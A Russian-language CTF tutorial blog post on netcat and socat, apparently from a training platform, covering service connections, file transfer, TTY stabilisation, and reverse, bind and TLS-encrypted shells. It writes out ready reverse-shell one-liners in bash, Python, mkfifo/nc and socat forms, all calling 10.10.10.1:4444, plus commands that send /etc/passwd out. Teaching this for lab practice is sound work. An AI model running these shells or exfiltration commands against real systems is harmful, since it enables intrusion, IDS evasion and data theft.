Главная / Блог / Netcat и socat для CTF: подключения, шеллы и файлы

12 мин.00

Netcat и socat для CTF: подключения, шеллы и файлы

Netcat и socat для CTF: подключения, шеллы и файлы

На учебном CTF участник за три минуты нашёл buffer overflow в pwn-таске, собрал рабочий exploit — и убил двадцать минут на попытки доставить payload на сервер и забрать флаг. Exploit работал. Проблема была тупейшая: неправильный режим nc, перепутанный IP в reverse shell, отвалившийся dumb shell после случайного Ctrl+C. Знакомо?

Между «нашёл уязвимость» и «получил флаг» лежит набор приёмов работы с netcat и socat для CTF, которые writeup'ы обычно пропускают — мол, и так понятно. Разберём каждый сценарий: от первого подключения к удалённому сервису до шифрованного обратного шелла. С разбором каждого флага и ошибками, на которые гарантированно наступают все.

Netcat: подключение к удалённому серверу в CTF

Netcat и pwn задачи — базовый workflow

Netcat (nc) — утилита для чтения и записи данных через TCP- и UDP-соединения. Её часто называют «швейцарским ножом» сетевых утилит, и тут без преувеличения: сканирование портов, передача файлов, проброс соединений — всё через одну команду. На Jeopardy-CTF это первое, что запускаешь для работы с pwn-задачами: организаторы поднимают бинарник на сервере через socat или xinetd, участникам дают строку подключения.

Команда подключения: nc challenge.ctf.com 31337. Открывается TCP-соединение к хосту на порт 31337. В терминале появляется вывод бинарника — приглашение ввода, баннер, условие задачи. Всё набранное в терминале уходит на stdin процесса на сервере, его stdout возвращается обратно. По сути netcat создаёт «трубу» между вашей клавиатурой и удалённым процессом.

Ключевые флаги для подключения: -v — verbose (показывает статус), -n — без DNS-резолвинга (быстрее при указании IP). Для локальной отладки: nc -v localhost 1337 после того, как подняли бинарник через socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary.

Типичная ошибка новичка: набирает nc -lp 31337 challenge.ctf.com — путает режимы. Флаг -l переводит netcat в режим listener (слушатель). Для подключения к сервису listener не нужен. Правило простое: -l — слушаем, без -l — подключаемся.

Нюанс, о котором мало кто думает: на Linux существуют три версии netcat с разным поведением.

Версия Пакет Флаг -e SSL Особенности
netcat-openbsd По умолчанию Ubuntu/Debian Нет Нет Порт без -p
ncat Nmap (Kali по умолчанию) Да Да (--ssl) Проксирование, ACL
GNU netcat Оригинальный Если скомпилирован Нет Классика

Проверить версию: nc -h 2>&1 | head -1. На Kali Linux 2024+ по умолчанию стоит ncat из Nmap — золотая середина между простотой оригинального netcat и возможностями socat.

Если бинарник ожидает бинарные данные (buffer overflow exploit), чистый netcat неудобен для формирования payload. Проще взять pwntools с remote('host', port) или передать payload через pipe: python3 exploit.py | nc challenge.ctf.com 31337. Но netcat остаётся базой — он работает в restricted shell, не требует Python и помогает при отладке сетевых проблем, когда pwntools маскирует низкоуровневые ошибки за своими абстракциями.

Reverse shell netcat — от listener до стабилизации

Reverse shell — целевая машина сама инициирует исходящее TCP-соединение к атакующему. В атакующем сценарии это ключевой элемент post-exploitation: файрволы обычно пропускают исходящий трафик, но режут входящие подключения на нестандартных портах. По классификации MITRE ATT&CK запуск шелла через bash — техника Unix Shell (T1059.004, Execution), обратное соединение подпадает под Remote Access Tools (T1219, Command and Control), использование нестандартных портов — Non-Standard Port (T1571, Command and Control).

Зачем это на CTF: через RCE-уязвимость удалось выполнить код на сервере, но однострочного вывода мало. Нужна полноценная интерактивная оболочка — читать файлы, искать флаг, эскалировать привилегии. Reverse shell — мост между «нашёл дыру» и «работаю на машине».

Схема работы по шагам:

  1. На атакующей машине — listener: nc -lvnp 4444. Разбор флагов: -l — listen, -v — verbose, -n — без DNS, -p 4444 — порт прослушивания. Терминал «зависнет» в ожидании — так и задумано.
  2. На целевой машине — payload: bash -i >& /dev/tcp/10.10.10.1/4444 0>&1. Тут bash -i запускает интерактивную оболочку, >& /dev/tcp/IP/PORT перенаправляет stdout и stderr в TCP-соединение (/dev/tcp/IP/PORT — не реальный файл в файловой системе, а встроенная псевдо-конструкция bash; поддержка включается флагом --enable-net-redirections при сборке bash, а сам редирект интерпретируется во время выполнения), 0>&1 перенаправляет stdin туда же.
  3. В терминале атакующего появляется строка вида www-data@target:/$. Команды id, whoami, ls работают.

Предусловия: bash на целевой машине скомпилирован с поддержкой /dev/tcp (флаг --enable-net-redirections на этапе компиляции). Это не гарантировано — Debian, например, традиционно отключает эту опцию. Проверяйте: bash -c "echo > /dev/tcp/127.0.0.1/1" 2>/dev/null && echo supported. На Debian и Ubuntu /bin/sh — это dash, у которого /dev/tcp нет в принципе. Если payload выполняется через /bin/sh, нужно явно указать: bash -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'.

Выбор порта: на учебном стенде — любой свободный (4444, 9001, 1337). На реальном пентесте reverse shell запускают на портах 80 или 443: они обычно разрешены для исходящих соединений даже при жёстком egress-фильтровании.

Если bash недоступен, но есть Python — альтернативный payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'. Однострочник создаёт TCP-сокет, подключается к listener и перенаправляет stdin/stdout/stderr в соединение.

Две классические ошибки (наступают абсолютно все): перепутан IP — вместо адреса атакующей подставляют адрес целевой, соединение уходит «в никуда»; перепутан порт — listener на 4444, payload на 4445, соединение не устанавливается. Проверяйте оба значения перед запуском. Я на CTF однажды потерял десять минут именно на перепутанном IP — обидно.

Как пробросить шелл через netcat без флага -e

На большинстве дистрибутивов netcat поставляется без флага -e (в исходном коде этот функционал называется GAPING_SECURITY_HOLE — название говорящее). Команда nc -e /bin/sh 10.10.10.1 4444 выдаст ошибку. Обходной путь — именованный канал:

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.1 4444 > /tmp/f

Разбор: mkfifo /tmp/f создаёт FIFO-файл. Вывод nc (команды атакующего, полученные через сокет) перенаправляется > /tmp/f в FIFO, cat их читает и передаёт на stdin /bin/sh. Вывод шелла через pipe уходит на stdin nc, который отправляет его обратно атакующему через сокет. Замкнутый цикл — красиво, если вдуматься.

Если /tmp смонтирован с noexec или запись запрещена — создавайте pipe в /dev/shm или домашнем каталоге текущего пользователя. Файл /tmp/f уже существует как обычный файл — mkfifo вернёт ошибку, поэтому rm /tmp/f стоит первой командой.

Стабилизация TTY — из dumb shell в рабочий терминал

Полученный reverse shell — «глупый» (dumb shell). Ctrl+C убивает всё соединение, Tab-автодополнение не работает, su не может запросить пароль (нет PTY для интерактивного ввода), стрелки выводят escape-последовательности вместо навигации по истории. На CTF это напрямую блокирует эскалацию привилегий: для privesc часто нужно запустить su для смены пользователя или отредактировать файл в nano.

Полная стабилизация через stty — рекомендуемый способ:

# В dumb shell на целевой:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажать Ctrl+Z — шелл уходит в background
# В терминале атакующей:
stty raw -echo; fg
# Вернувшийся шелл стабилен, добавляем:
export TERM=xterm
stty rows 40 cols 120

После этого работают Tab, стрелки, Ctrl+C прерывает текущую команду (а не убивает сессию), su корректно запрашивает пароль. Если python3 отсутствует на целевой — попробуйте script -qc /bin/bash /dev/null (утилита script есть почти на любом Linux) или Python 2: python -c 'import pty; pty.spawn("/bin/bash")'.

Ошибка, на которую наступают все: забывают stty raw -echo перед fg. Без этого шага pty формально есть, но сигналы обрабатываются криво — шелл полу-стабилизирован и ведёт себя непредсказуемо. Ещё одна частая боль — размер терминала: если не выставить stty rows и cols, вывод длинных команд «ломается» по ширине. Мелочь, а отлаживать мучительно.

Bind shell socat и netcat — альтернативный сценарий

Bind shell — обратная схема: целевая машина открывает порт и ждёт входящего подключения. Атакующий подключается к этому порту и получает оболочку.

Bind shell через netcat (если флаг -e доступен): на целевой — nc -lvnp 4444 -e /bin/bash, на атакующей — nc -nv 10.10.10.2 4444. Через socat: на целевой — socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash, на атакующей — socat - TCP:10.10.10.2:4444.

На CTF bind shell реально полезен в одном сценарии: настройка локального стенда для отладки. Команда socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln_binary — стандартный способ поднять pwn-задачу на своей машине. Флаг reuseaddr позволяет переиспользовать порт сразу после закрытия соединения, fork создаёт новый процесс для каждого подключения — можно переподключаться многократно без перезапуска.

Когда bind shell НЕ работает: файрволы режут входящие соединения на нестандартных портах, цель за NAT — до неё не добраться. В реальных пентестах bind shell используется крайне редко.

Разница в одном предложении: reverse shell — цель подключается к вам, bind shell — вы подключаетесь к цели. На CTF reverse shell нужен в подавляющем большинстве случаев.

Socat listener настройка и socat encrypted shell

Socat — netcat на стероидах: поддержка SSL/TLS, PTY-аллокация из коробки, UNIX-сокеты и десятки типов соединений. Обратная сторона: socat редко предустановлен на целевых машинах, а синтаксис требует привыкания (мягко говоря).

Базовый socat reverse shell: на атакующей — socat -d -d TCP-LISTEN:4444 STDOUT, на целевой — socat TCP:10.10.10.1:4444 EXEC:/bin/bash. Двойной -d включает подробный debug-вывод.

Главная фишка socat — встроенная PTY-аллокация. Команда socat TCP:10.10.10.1:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint на целевой создаёт шелл с полноценным псевдотерминалом. Результат — стабильный терминал без ручной стабилизации через stty. Разбор опций после EXEC: pty — выделить PTY, stderr — перенаправить stderr, setsid — создать новую сессию, sigint — корректно обрабатывать Ctrl+C.

На стороне listener для полноценной работы с PTY: socat TCP-LISTEN:4444 FILE:$(tty),raw,echo=0. Ваш терминал автоматически переводится в raw-режим — аналог stty raw -echo, только без ручных танцев.

Базовый netcat (netcat-openbsd, GNU netcat) не умеет работать с SSL/TLS вообще. Ncat из Nmap поддерживает --ssl, но без гибкости socat. Если нужно шифрование — socat единственный вариант из стандартного набора.

Socat encrypted shell — шифрование соединения

В CTF-задачах шифрование обратного канала встречается редко, но на пентесте это критично для обхода IDS/IPS. Sigma-правило lnx_shell_susp_rev_shells.yml (SigmaHQ) детектит подозрительные командные строки вида bash -i, /dev/tcp на уровне процесса — такой детект не зависит от шифрования канала. Зато шифрование скрывает содержимое трафика от сетевых IDS/IPS.

# Атакующий — генерация сертификата и listener:
openssl req -newkey rsa:2048 -nodes -keyout s.key \
  -x509 -days 7 -out s.crt -subj '/CN=test'
cat s.key s.crt > s.pem
socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 -
# Целевая — подключение:
socat OPENSSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash

verify=0 отключает проверку сертификата (самоподписанный). Для учебного стенда хватит. Весь трафик шифруется TLS — IDS не видит содержимое команд.

Со стороны защиты (MITRE D3FEND) для противодействия применяются Outbound Traffic Filtering (D3-OTF) — ограничение исходящих соединений на нестандартных портах, и Remote Terminal Session Detection (D3-RTSD) — обнаружение самого факта удалённых сессий независимо от шифрования содержимого.

Передача файлов через netcat и socat

На CTF регулярно нужно перетащить файл: скачать бинарник для локального анализа, загрузить exploit на целевую машину, вытащить /etc/shadow после получения шелла. Когда SCP, SFTP и HTTP недоступны — netcat и socat решают задачу.

Передача файлов через netcat

Скачать файл с целевой на атакующую: атакующая — nc -lvnp 4444 > stolen_file (listener с перенаправлением в файл), целевая — nc -nv 10.10.10.1 4444 < /etc/passwd (отправка файла). Загрузить файл на целевую: целевая — nc -lvnp 4444 > exploit.py (ожидание), атакующая — nc -nv 10.10.10.2 4444 < exploit.py (отправка).

Netcat не показывает прогресс и не сообщает о завершении — просто висит. Нужно дождаться окончания и прервать соединение (Ctrl+C). Для проверки целостности: md5sum exploit.py на обеих сторонах — хеши должны совпасть.

Передача целого каталога с компрессией: на отправляющей стороне — tar czf - /path/to/dir | nc -nv 10.10.10.1 4444, на принимающей — nc -lvnp 4444 | tar xzf -. Архивация и распаковка на лету — одной командой.

Передача файлов через socat

Socat удобнее для файловой передачи — поддерживает автозакрытие соединения после завершения. Отправка файла: принимающая сторона — socat TCP-LISTEN:4444,reuseaddr FILE:received_file,create, отправляющая — socat TCP:10.10.10.1:4444 FILE:/etc/passwd,rdonly. Socat автоматически закроет соединение — не нужно жать Ctrl+C и гадать, завершилась ли передача.

Если нужна передача через шифрованный канал — те же опции OPENSSL-LISTEN и OPENSSL работают и для файлов: socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 FILE:received_file,create на принимающей, socat OPENSSL:10.10.10.1:4444,verify=0 FILE:secret_data,rdonly на отправляющей.

Netcat vs socat — что выбрать для CTF

Критерий Netcat (nc) Socat
Доступность на целевой Часто предустановлен Редко предустановлен
Синтаксис Простой, 3-5 флагов Сложный, десятки опций
PTY-аллокация Нет (нужна ручная стабилизация) Нативно
Шифрование Нет (ncat — через --ssl) Нативно через OPENSSL
Передача файлов Без прогресса и автозакрытия С автозакрытием
Когда НЕ подходит Нужен стабильный PTY без stty-танцев socat не установлен на цели

Практическое правило: начинайте с netcat — он есть почти на каждой Linux-машине и покрывает большинство CTF-сценариев. Нужен стабильный терминал без ручной стабилизации, шифрование или автоматизация передачи файлов — переключайтесь на socat. Для подключения к pwn-сервисам — nc. Для обратного шелла — nc -lvnp на listener, стабилизация через stty. Если заранее готовите инфраструктуру (listener на VPS для длинной сессии) — socat с PTY-аллокацией сэкономит время и нервы.

Сводка типичных ошибок при работе с обоими инструментами:

  • Перепутан IP: в payload адрес целевой вместо атакующей
  • Перепутан порт: listener на 4444, payload на 4445
  • Забыт -p при запуске listener: OpenBSD netcat принимает порт без -p (nc -lvn 4444), GNU netcat требует -p (nc -lvnp 4444)
  • Payload с /dev/tcp запущен через dash вместо bash
  • socat: пропущена запятая между опциями (EXEC:/bin/bash pty вместо EXEC:/bin/bash,pty) — команда молча не работает
  • Забыт stty raw -echo перед fg при стабилизации — шелл ведёт себя непредсказуемо
  • На целевой машине нет ни netcat, ни bash с /dev/tcp, ни Python — придётся искать другой способ (Perl, Ruby, PHP) или загружать статически скомпилированный netcat

Netcat и socat — утилитам больше двадцати лет. За это время появились десятки «современных альтернатив» с автоматизацией и GUI, но расклад на CTF не изменился: nc стоит на каждой Linux-машине, весит килобайты и не тянет зависимости. Количество инструментов в арсенале не имеет значения — имеет значение глубина владения базовыми. На практике побеждает не тот, кто знает пятьдесят фреймворков, а тот, кто за тридцать секунд поднимет listener, стабилизирует TTY и вытащит файл с целевой машины.

И ещё одна вещь, которую мало кто проговаривает: если не можете объяснить, что делает каждый символ в bash -i >& /dev/tcp/10.10.10.1/4444 0>&1 — вы копируете cheat-sheet, а не работаете с шеллами. Разница проявляется, когда стандартный однострочник не срабатывает и нужно адаптировать payload под конкретную среду: нестандартный shell, урезанные coreutils, отсутствующий Python. Для таких ситуаций важно понимать механику, а не запоминать команды. Если только начинаете путь в ИБ — на IB Basics эту цепочку проходят с нуля до первых задач, без академического тона.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Криптография в CTF: ломаем RSA и классические шифры

12 мин.

7

Криптография в CTF: ломаем RSA и классические шифры

Разбираем 5 атак на RSA для CTF: кубический корень при e=3, Хастад, Винер, факторизация. Python-код, RsaCtfTool и чеклист решения задач.

3 СЕНТЯБРЬ, 2026

Reverse engineering с нуля: crackme в Ghidra

12 мин.

3

Reverse engineering с нуля: crackme в Ghidra

Пошаговый разбор crackme в Ghidra: от импорта бинарника до извлечения пароля через Defined Strings. Три паттерна проверки, ошибки новичков и чек-лист.

2 СЕНТЯБРЬ, 2026

Wireshark для CTF: ищем флаги в PCAP

13 мин.

11

Wireshark для CTF: ищем флаги в PCAP

Пошаговый алгоритм анализа PCAP в Wireshark для CTF: от Protocol Hierarchy до DNS exfiltration. Фильтры, tshark-однострочники и типовые ловушки.

2 СЕНТЯБРЬ, 2026